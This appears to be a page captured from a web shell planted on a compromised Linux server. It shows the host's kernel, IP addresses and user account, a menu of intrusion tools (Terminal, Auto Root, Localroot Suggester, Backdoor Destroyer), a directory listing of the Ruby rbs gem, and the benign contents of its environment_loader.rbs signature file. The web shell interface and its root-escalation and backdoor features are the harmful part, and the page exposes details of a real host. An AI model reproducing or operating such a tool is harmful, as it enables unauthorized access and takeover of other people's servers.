Linux server1.dn-server.com 4.18.0-553.89.1.lve.el8.x86_64 #1 SMP Wed Dec 10 13:58:50 UTC 2025 x86_64
LiteSpeed
Server IP : 195.201.204.189 & Your IP : 216.73.217.103
Domains :
Cant Read [ /etc/named.conf ]
User : beriska1
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
opt /
alt /
ruby33 /
share /
gems /
gems /
rbs-3.4.0 /
sig /
Delete
Unzip
Name
Size
Permission
Date
Action
annotate
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
cli
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
collection
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
prototype
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
rdoc
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
resolver
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
shims
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
test
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
unit_test
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
ancestor_builder.rbs
7.61
KB
-rw-r--r--
2026-04-07 17:22
ancestor_graph.rbs
2.1
KB
-rw-r--r--
2026-04-07 17:22
annotation.rbs
556
B
-rw-r--r--
2026-04-07 17:22
buffer.rbs
718
B
-rw-r--r--
2026-04-07 17:22
builtin_names.rbs
847
B
-rw-r--r--
2026-04-07 17:22
cli.rbs
2.23
KB
-rw-r--r--
2026-04-07 17:22
collection.rbs
41
B
-rw-r--r--
2026-04-07 17:22
comment.rbs
495
B
-rw-r--r--
2026-04-07 17:22
constant.rbs
465
B
-rw-r--r--
2026-04-07 17:22
declarations.rbs
7.62
KB
-rw-r--r--
2026-04-07 17:22
definition.rbs
5.09
KB
-rw-r--r--
2026-04-07 17:22
definition_builder.rbs
5.75
KB
-rw-r--r--
2026-04-07 17:22
diff.rbs
1.42
KB
-rw-r--r--
2026-04-07 17:22
directives.rbs
1.34
KB
-rw-r--r--
2026-04-07 17:22
environment.rbs
8.91
KB
-rw-r--r--
2026-04-07 17:22
environment_loader.rbs
3.79
KB
-rw-r--r--
2026-04-07 17:22
environment_walker.rbs
1.79
KB
-rw-r--r--
2026-04-07 17:22
errors.rbs
10.96
KB
-rw-r--r--
2026-04-07 17:22
factory.rbs
77
B
-rw-r--r--
2026-04-07 17:22
file_finder.rbs
269
B
-rw-r--r--
2026-04-07 17:22
location.rbs
3.3
KB
-rw-r--r--
2026-04-07 17:22
locator.rbs
1.98
KB
-rw-r--r--
2026-04-07 17:22
manifest.yaml
132
B
-rw-r--r--
2026-04-07 17:22
members.rbs
7.76
KB
-rw-r--r--
2026-04-07 17:22
method_builder.rbs
3.17
KB
-rw-r--r--
2026-04-07 17:22
method_types.rbs
1.66
KB
-rw-r--r--
2026-04-07 17:22
namespace.rbs
3.46
KB
-rw-r--r--
2026-04-07 17:22
parser.rbs
2.88
KB
-rw-r--r--
2026-04-07 17:22
rbs.rbs
394
B
-rw-r--r--
2026-04-07 17:22
repository.rbs
2.42
KB
-rw-r--r--
2026-04-07 17:22
sorter.rbs
1.77
KB
-rw-r--r--
2026-04-07 17:22
substitution.rbs
1.47
KB
-rw-r--r--
2026-04-07 17:22
subtractor.rbs
1.77
KB
-rw-r--r--
2026-04-07 17:22
test.rbs
1.83
KB
-rw-r--r--
2026-04-07 17:22
type_alias_dependency.rbs
1.56
KB
-rw-r--r--
2026-04-07 17:22
type_alias_regularity.rbs
3.07
KB
-rw-r--r--
2026-04-07 17:22
type_param.rbs
2.16
KB
-rw-r--r--
2026-04-07 17:22
typename.rbs
2.11
KB
-rw-r--r--
2026-04-07 17:22
types.rbs
12.52
KB
-rw-r--r--
2026-04-07 17:22
use_map.rbs
730
B
-rw-r--r--
2026-04-07 17:22
util.rbs
128
B
-rw-r--r--
2026-04-07 17:22
validator.rbs
2.16
KB
-rw-r--r--
2026-04-07 17:22
variance_calculator.rbs
2.61
KB
-rw-r--r--
2026-04-07 17:22
vendorer.rbs
1.44
KB
-rw-r--r--
2026-04-07 17:22
version.rbs
33
B
-rw-r--r--
2026-04-07 17:22
writer.rbs
3.04
KB
-rw-r--r--
2026-04-07 17:22
Save
Rename
module RBS # EnvironmentLoader is an object to load RBS files from filesystem. # # Set up your configuration through repository and `#add` method. # # ```ruby # # Set up the repository to load library RBSs from. # repo = RBS::Repository.default # repo.add(Pathname("vendor/rbs/gem-rbs")) # repo.add(Pathname("vendor/rbs/internal-rbs")) # # loader = RBS::EnvironmentLoader.new(repository: repo) # # # Add libraries to load RBS files. # loader.add(library: "minitest") # loader.add(library: "rbs", version: "1.0.0") # # # Add dirs to load RBS files from. # loader.add(path: Pathname("sig")) # # # Load RBSs into an environment. # environment = RBS::Environment.new() # loader.load(env: environment) # ``` # class EnvironmentLoader class UnknownLibraryError < StandardError attr_reader library: Library def initialize: (lib: Library) -> void end class Library < Struct[String | String?] attr_reader name: String attr_reader version: String? def initialize: (name: String, version: String?) -> void end include FileFinder DEFAULT_CORE_ROOT: Pathname attr_reader core_root: Pathname? attr_reader repository: Repository attr_reader libs: Set[Library] attr_reader dirs: Array[Pathname] # The source where the RBS comes from. # # `:core` means it is part of core library. # `Library` means it is from library. # `Pathname` means it is loaded from a directory. # type source = :core | Library | Pathname # Accepts two optional keyword arguments. # # `core_root` is the path to the directory with RBSs for core classes. # The default value is the core library included in RBS gem. (EnvironmentLoader::DEFAULT_CORE_ROOT) # Passing `nil` means it skips loading core class definitions. # # `repository` is the repository for library classes. # The default value is repository only with stdlib classes. (Repository.new) # def initialize: (?core_root: Pathname?, ?repository: Repository) -> void # Add a path or library to load RBSs from. # # `path` can be a file or a directory. # All `.rbs` files from the given directory will be loaded. # Specifying a file will load the file regardless the extension of the file is. # # `library` can be a name of a gem. # Specifying `nil` to `version` will load any version available. # It first tries to load RBS files from gem with specified version. # If RBS files cannot be found in the gem, it tries to load RBSs from repository. # def add: (path: Pathname) -> void | (library: String, version: String?, ?resolve_dependencies: boolish) -> void def resolve_dependencies: (library: String, version: String?) -> void # Add repository path and libraries via rbs_collection.lock.yaml. def add_collection: (Collection::Config::Lockfile lockfile) -> void # This is helper function to test if RBS for a library is available or not. # def has_library?: (library: String, version: String?) -> bool # Add all declarations to environment. # # Raises `UnknownLibraryError` if RBS cannot be loaded from a library. # # Returns an array of tuples of the declaration, path to the file, and the source. # def load: (env: Environment) -> Array[[AST::Declarations::t, Pathname, source]] # Returns a pair of spec and path for a gem with RBS. # Returns nil if the gem is not installed, or the gem doesn't provide RBS. # def self.gem_sig_path: (String name, String? version) -> [Gem::Specification, Pathname]? def each_signature: () { (source, Pathname, Buffer, Array[AST::Declarations::t], Array[AST::Directives::t]) -> void } -> void def each_dir: { (source, Pathname) -> void } -> void end end